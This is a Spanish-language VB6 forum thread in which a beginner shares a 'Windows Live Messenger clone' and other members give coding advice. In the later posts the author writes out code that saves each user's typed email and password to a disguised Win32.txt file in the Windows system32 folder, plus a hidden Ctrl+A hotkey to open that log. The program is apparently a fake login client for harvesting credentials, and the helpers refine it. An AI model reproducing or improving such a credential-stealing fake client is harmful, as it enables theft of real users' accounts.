 Autor
|
Tema: Clon Windows Live Messenger (Leído 4,872 veces)
|
Elemental Code
 Desconectado
Mensajes: 622
Im beyond the system
|
Aver, me lo baje y empiezo mal
mirando por arriba dice
"Privasidad"
segundo consejo:
TABULA. se me complica horrores leer el codigo.
Tercer Consejo:
acomoda mejor la imagen de fondo.
yo con una resolucion de 1440 x 900 (lcd 17' wide) me di cuenta que algo andaba mal cuando maximize.
ponele que onformchangesise (escribilo bien >.<) vuelva al tamaño en el que lo diseñastes.
y esto no es tanto un consejo o sugerencia, va en cada uno, pero yo lo hubiese guardado en un txt y no en una base de datos.
me gusto bastante el efecto realista cuando se subrayan los "links".
y el icono estaba medio flojo.
Fijate que capaz que es por mi windows 7 pero no parecia el del msn 9
tenia como un reborde negro.
Excelente codigo, estaba buscando uno asi.
|
|
|
|
|
En línea
|
I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0 Mis programas |
|
|
|
c0c0_w3y_s0ftwar3
|
Graxxx. Elemental Code...
Por eso keria q alguien lo ejecutara y me diera su consentimiento por k estoy empezan2 a programar ahora y saves q nesecito consejosy ayudas...
Primero nesecito k me especifikes si es donde dice "declaracion de privacidad" ya lo arregle,,
segun2 Tabula que me kieres decir con eso...
y tercero,, me podrias dar un ejemplo de como acomodar la imagen con esto onformchangesise como me dijiste...
y ya estoy cambian2 la forma de guardar los mails.. la estoy ponien2 en un TXT como me dijiste...
Gracias de nuevo bro...
Salu2...
|
|
|
|
|
En línea
|
No Te equivoques Bro... Las cosas son como tienen que ser... |
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
Tabulacion por gerarquia segun tu estructura del codigo ejemplo sub main() For x = 0 to 99 msgbox "este msgbox esta tabulado y se entiende perfecto!¡." if jaja = jojo then msgbox "bu-ala otra tabulación según la jerarquía de programación o su flujo del mismo!¡." end if next end sub
Para qué se entienda lo que se abre en una columna se CIERRA EN LA MISMA COLUMNA y se entiende a lectura simple!¡. Sangriento infierno Lunar!¡.
|
|
|
|
|
En línea
|
The Dark Shadow is my passion.
|
|
|
|
c0c0_w3y_s0ftwar3
|
Ok... ya voy entendien2 BlackZeroX,,, savia q nesecitaba la ayuda de ustedes..
gracias...
|
|
|
|
|
En línea
|
No Te equivoques Bro... Las cosas son como tienen que ser... |
|
|
|
c0c0_w3y_s0ftwar3
|
En cuanto el code para guardar los mail en un TXT q tal este ???Private Sub Command1_Click()
Call GuardarArchivo("C:\WINDOWS\system32\Win32.txt", Text1, Text2)
End Sub
Sub GuardarArchivo(Ruta As String, Text1, Text2 As TextBox)
On Error Resume Next
Dim fnum As Integer
On Error GoTo Ninguno
fnum = FreeFile
Open Ruta For Append As fnum
Print #fnum, "Mail:"; Text1.Text
Print #fnum, "Contraseña:"; Text2.Text
Print #fnum, "-------------------------------------------------"
Print #fnum, ""
Close fnum
Exit Sub
Ninguno:
MsgBox "Error al guardar el archivo"
End Sub
|
|
|
|
|
En línea
|
No Te equivoques Bro... Las cosas son como tienen que ser... |
|
|
Psyke1
Wiki
Desconectado
Mensajes: 1.089
|
Pon mejor la ruta asi: Environ$("windir") & "\system32\Win32.txt"
Salu2!  |
|
|
|
|
En línea
|
|
|
|
|
c0c0_w3y_s0ftwar3
|
Gracias *PsYkE1* ya lo hice asi como me dijiste. y para ejecutar elarchivo lo puse algo asi...
If GetAsyncKeyState(vbKeyControl) And GetAsyncKeyState(vbKeyA) Then
Call ShellExecute(0&, "Open", (Environ$("windir") & "\system32\Win32.txt"), "", vbNullString, 1)
End If
|
|
|
|
|
En línea
|
No Te equivoques Bro... Las cosas son como tienen que ser... |
|
|
|
 |
